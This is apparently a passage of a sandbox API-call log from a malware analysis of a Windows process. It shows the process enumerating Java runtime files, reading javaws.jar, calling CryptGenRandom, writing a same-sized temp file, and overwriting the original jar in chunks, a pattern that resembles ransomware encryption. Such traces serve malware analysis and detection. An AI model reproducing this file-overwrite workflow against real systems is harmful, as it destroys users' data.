	[0262.142] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif"), fInfoLevelId=0x0, lpFileInformation=0xc0001df5e0 | out: lpFileInformation=0xc0001df5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x99)) returned 1
	[0262.143] WriteFile (in: hFile=0x0, lpBuffer=0xc00007a0a0, nNumberOfBytesToWrite=0x65, lpNumberOfBytesWritten=0xc0001df594, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df594, lpOverlapped=0x0) returned 0
	[0262.143] WriteFile (in: hFile=0x0, lpBuffer=0xc00007a0a0, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0xc0001df594, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df594, lpOverlapped=0x0) returned 0
	[0262.143] SetEvent (hEvent=0x188) returned 1
	[0262.143] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif"), fInfoLevelId=0x0, lpFileInformation=0xc0001df5e0 | out: lpFileInformation=0xc0001df5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xa5)) returned 1
	[0262.189] WriteFile (in: hFile=0x0, lpBuffer=0xc00027e0c0, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xc0001df594, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df594, lpOverlapped=0x0) returned 0
	[0262.189] WriteFile (in: hFile=0x0, lpBuffer=0xc00027e0c0, nNumberOfBytesToWrite=0x57, lpNumberOfBytesWritten=0xc0001df594, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df594, lpOverlapped=0x0) returned 0
	[0262.189] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0262.334] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0262.965] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0263.019] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0263.070] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0263.111] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0263.157] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0263.199] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0263.249] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif"), fInfoLevelId=0x0, lpFileInformation=0xc0001df5e0 | out: lpFileInformation=0xc0001df5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x99)) returned 1
	[0263.249] WriteFile (in: hFile=0x0, lpBuffer=0xc00007a0a0, nNumberOfBytesToWrite=0x6e, lpNumberOfBytesWritten=0xc0001df594, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df594, lpOverlapped=0x0) returned 0
	[0263.249] WriteFile (in: hFile=0x0, lpBuffer=0xc00007a0a0, nNumberOfBytesToWrite=0x59, lpNumberOfBytesWritten=0xc0001df594, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df594, lpOverlapped=0x0) returned 0
	[0263.249] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0263.381] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0263.420] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif"), fInfoLevelId=0x0, lpFileInformation=0xc0001df5e0 | out: lpFileInformation=0xc0001df5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x99)) returned 1
	[0263.420] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8400, nNumberOfBytesToWrite=0x6e, lpNumberOfBytesWritten=0xc0001df594, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df594, lpOverlapped=0x0) returned 0
	[0263.420] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8400, nNumberOfBytesToWrite=0x59, lpNumberOfBytesWritten=0xc0001df594, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df594, lpOverlapped=0x0) returned 0
	[0263.420] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0263.789] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0263.863] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0263.900] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0263.935] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0268.562] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0268.915] SetEvent (hEvent=0xd4) returned 1
	[0268.915] WriteFile (in: hFile=0x0, lpBuffer=0xc00007a0a0, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0xc0001dbd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001dbd94, lpOverlapped=0x0) returned 0
	[0268.915] WriteFile (in: hFile=0x0, lpBuffer=0xc00007a0a0, nNumberOfBytesToWrite=0x92, lpNumberOfBytesWritten=0xc0001dbd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001dbd94, lpOverlapped=0x0) returned 0
	[0268.915] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x19c
	[0268.915] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc0001dbbf4 | out: lpMode=0xc0001dbbf4) returned 0
	[0268.915] GetFileType (hFile=0x19c) returned 0x1
	[0268.916] GetFileType (hFile=0x19c) returned 0x1
	[0268.916] GetFileInformationByHandle (in: hFile=0x19c, lpFileInformation=0xc0001dbc44 | out: lpFileInformation=0xc0001dbc44) returned 1
	[0268.916] GetFileInformationByHandleEx (in: hFile=0x19c, FileInformationClass=0x9, lpFileInformation=0xc0001dbc28, dwBufferSize=0x8 | out: lpFileInformation=0xc0001dbc28) returned 1
	[0268.916] ReadFile (in: hFile=0x19c, lpBuffer=0xc000652000, nNumberOfBytesToRead=0xe6a27, lpNumberOfBytesRead=0xc0001dbb04, lpOverlapped=0x0 | out: lpBuffer=0xc000652000*, lpNumberOfBytesRead=0xc0001dbb04*=0xe6827, lpOverlapped=0x0) returned 1
	[0269.077] SetEvent (hEvent=0x124) returned 1
	[0269.077] ReadFile (in: hFile=0x19c, lpBuffer=0xc000738827, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc0001dbb04, lpOverlapped=0x0 | out: lpBuffer=0xc000738827*, lpNumberOfBytesRead=0xc0001dbb04*=0x0, lpOverlapped=0x0) returned 1
	[0269.077] CloseHandle (hObject=0x19c) returned 1
	[0269.077] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc00000eb40 | out: pbBuffer=0xc00000eb40) returned 1
	[0269.077] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc00021a6f0 | out: pbBuffer=0xc00021a6f0) returned 1
	[0269.077] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000001201 | out: pbBuffer=0xc000001201) returned 1
	[0269.081] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\7839fbc6b6cdecbfe772df03fb84b2a3" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\7839fbc6b6cdecbfe772df03fb84b2a3"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c
	[0269.081] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc0001dbc04 | out: lpMode=0xc0001dbc04) returned 0
	[0269.081] GetFileType (hFile=0x19c) returned 0x1
	[0269.081] WriteFile (in: hFile=0x19c, lpBuffer=0xc000854000*, nNumberOfBytesToWrite=0xe6927, lpNumberOfBytesWritten=0xc0001dbbec, lpOverlapped=0x0 | out: lpBuffer=0xc000854000*, lpNumberOfBytesWritten=0xc0001dbbec*=0xe6927, lpOverlapped=0x0) returned 1
	[0269.096] CloseHandle (hObject=0x19c) returned 1
	[0269.133] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c
	[0269.154] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc0001dbd74 | out: lpMode=0xc0001dbd74) returned 0
	[0269.154] GetFileType (hFile=0x19c) returned 0x1
	[0269.155] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\7839fbc6b6cdecbfe772df03fb84b2a3" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\7839fbc6b6cdecbfe772df03fb84b2a3"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x198
	[0269.155] GetConsoleMode (in: hConsoleHandle=0x198, lpMode=0xc0001dbd74 | out: lpMode=0xc0001dbd74) returned 0
	[0269.155] GetFileType (hFile=0x198) returned 0x1
	[0269.155] VirtualAlloc (lpAddress=0xc00035c000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00035c000
	[0269.156] ReadFile (in: hFile=0x198, lpBuffer=0xc00035c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00035c000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.156] WriteFile (in: hFile=0x19c, lpBuffer=0xc00035c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00035c000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.157] ReadFile (in: hFile=0x198, lpBuffer=0xc00035c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00035c000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.157] WriteFile (in: hFile=0x19c, lpBuffer=0xc00035c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00035c000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.158] ReadFile (in: hFile=0x198, lpBuffer=0xc00035c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00035c000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.158] WriteFile (in: hFile=0x19c, lpBuffer=0xc00035c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00035c000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.158] ReadFile (in: hFile=0x198, lpBuffer=0xc00035c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00035c000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.158] WriteFile (in: hFile=0x19c, lpBuffer=0xc00035c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00035c000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.159] ReadFile (in: hFile=0x198, lpBuffer=0xc00035c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00035c000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.159] WriteFile (in: hFile=0x19c, lpBuffer=0xc00035c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00035c000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.159] ReadFile (in: hFile=0x198, lpBuffer=0xc00035c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00035c000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.159] WriteFile (in: hFile=0x19c, lpBuffer=0xc00035c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00035c000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.160] ReadFile (in: hFile=0x198, lpBuffer=0xc00035c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00035c000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.160] WriteFile (in: hFile=0x19c, lpBuffer=0xc00035c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00035c000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.160] ReadFile (in: hFile=0x198, lpBuffer=0xc00035c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00035c000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.160] WriteFile (in: hFile=0x19c, lpBuffer=0xc00035c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00035c000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.161] ReadFile (in: hFile=0x198, lpBuffer=0xc00035c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00035c000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.161] WriteFile (in: hFile=0x19c, lpBuffer=0xc00035c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00035c000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.162] ReadFile (in: hFile=0x198, lpBuffer=0xc00035c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00035c000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.162] WriteFile (in: hFile=0x19c, lpBuffer=0xc00035c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00035c000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.163] ReadFile (in: hFile=0x198, lpBuffer=0xc00035c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00035c000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.163] WriteFile (in: hFile=0x19c, lpBuffer=0xc00035c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00035c000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.163] ReadFile (in: hFile=0x198, lpBuffer=0xc00035c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00035c000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.163] WriteFile (in: hFile=0x19c, lpBuffer=0xc00035c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00035c000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.164] ReadFile (in: hFile=0x198, lpBuffer=0xc00035c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00035c000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.164] WriteFile (in: hFile=0x19c, lpBuffer=0xc00035c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00035c000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.164] ReadFile (in: hFile=0x198, lpBuffer=0xc00035c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00035c000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.164] WriteFile (in: hFile=0x19c, lpBuffer=0xc00035c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00035c000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.165] ReadFile (in: hFile=0x198, lpBuffer=0xc00035c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00035c000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.165] WriteFile (in: hFile=0x19c, lpBuffer=0xc00035c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00035c000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.166] ReadFile (in: hFile=0x198, lpBuffer=0xc00035c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00035c000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.166] WriteFile (in: hFile=0x19c, lpBuffer=0xc00035c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00035c000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.166] ReadFile (in: hFile=0x198, lpBuffer=0xc00035c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00035c000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.166] WriteFile (in: hFile=0x19c, lpBuffer=0xc00035c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00035c000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.167] ReadFile (in: hFile=0x198, lpBuffer=0xc00035c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00035c000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.167] WriteFile (in: hFile=0x19c, lpBuffer=0xc00035c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00035c000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.168] ReadFile (in: hFile=0x198, lpBuffer=0xc00035c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00035c000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.168] WriteFile (in: hFile=0x19c, lpBuffer=0xc00035c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00035c000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.168] ReadFile (in: hFile=0x198, lpBuffer=0xc00035c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00035c000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.168] WriteFile (in: hFile=0x19c, lpBuffer=0xc00035c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00035c000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.169] ReadFile (in: hFile=0x198, lpBuffer=0xc00035c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00035c000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.169] WriteFile (in: hFile=0x19c, lpBuffer=0xc00035c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00035c000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.170] ReadFile (in: hFile=0x198, lpBuffer=0xc00035c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00035c000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.170] WriteFile (in: hFile=0x19c, lpBuffer=0xc00035c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00035c000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.170] ReadFile (in: hFile=0x198, lpBuffer=0xc00035c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00035c000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.170] WriteFile (in: hFile=0x19c, lpBuffer=0xc00035c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00035c000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.171] ReadFile (in: hFile=0x198, lpBuffer=0xc00035c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00035c000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.171] WriteFile (in: hFile=0x19c, lpBuffer=0xc00035c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00035c000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.171] ReadFile (in: hFile=0x198, lpBuffer=0xc00035c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00035c000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.171] WriteFile (in: hFile=0x19c, lpBuffer=0xc00035c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00035c000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.172] ReadFile (in: hFile=0x198, lpBuffer=0xc00035c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00035c000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.172] WriteFile (in: hFile=0x19c, lpBuffer=0xc00035c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00035c000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.173] ReadFile (in: hFile=0x198, lpBuffer=0xc00035c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00035c000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.173] WriteFile (in: hFile=0x19c, lpBuffer=0xc00035c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00035c000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.173] ReadFile (in: hFile=0x198, lpBuffer=0xc00035c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00035c000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
